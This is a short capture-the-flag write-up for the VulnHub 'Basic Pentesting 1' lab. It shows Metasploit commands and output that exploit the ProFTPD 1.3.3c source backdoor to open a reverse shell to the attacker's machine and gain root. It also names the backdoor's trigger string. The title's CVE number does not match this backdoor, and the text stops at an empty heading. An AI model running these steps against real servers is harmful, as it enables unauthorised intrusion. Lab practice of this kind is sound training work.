# CVE-69562

CSEC 1:
https://www.vulnhub.com/entry/basic-pentesting-1,216/
Write-Up by deusxmachina

---

*Scenario : Exploit a server with IP address 10.0.2.4 and gain root access.*

---

```
# msfconsole
> search proftpd 1.3.3c
> use exploit/unix/ftp/proftpd_133c_backdoor
> show payloads
> set payload cmd/unix/reverse
> show options
> set RHOST 10.0.2.4
> set LHOST 10.0.2.15
> exploit

[*] Started reverse TCP double handler on 10.0.2.15:4444
[*] 10.0.2.4:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo QPQ9CnbRVn5PQzW8;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "QPQ9CnbRVn5PQzW8\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (10.0.2.15:4444 -> 10.0.2.4:55018 ) at 2022-01-21 18:15:57
-0500

whoami
root
```

# Vulnerability in ProFTPd 1.3.3c :

“ Compromised Source Backdoor Remote Code Execution, Backdoor Command Execution (Metasploit) “

## How it works

**Compromised source code was edited to contain a backdoor. This backdoor is accessible through sending the string “HELP ACIDBITCHEZ\r\n” through a socket.**

## Looking through Metasploit payload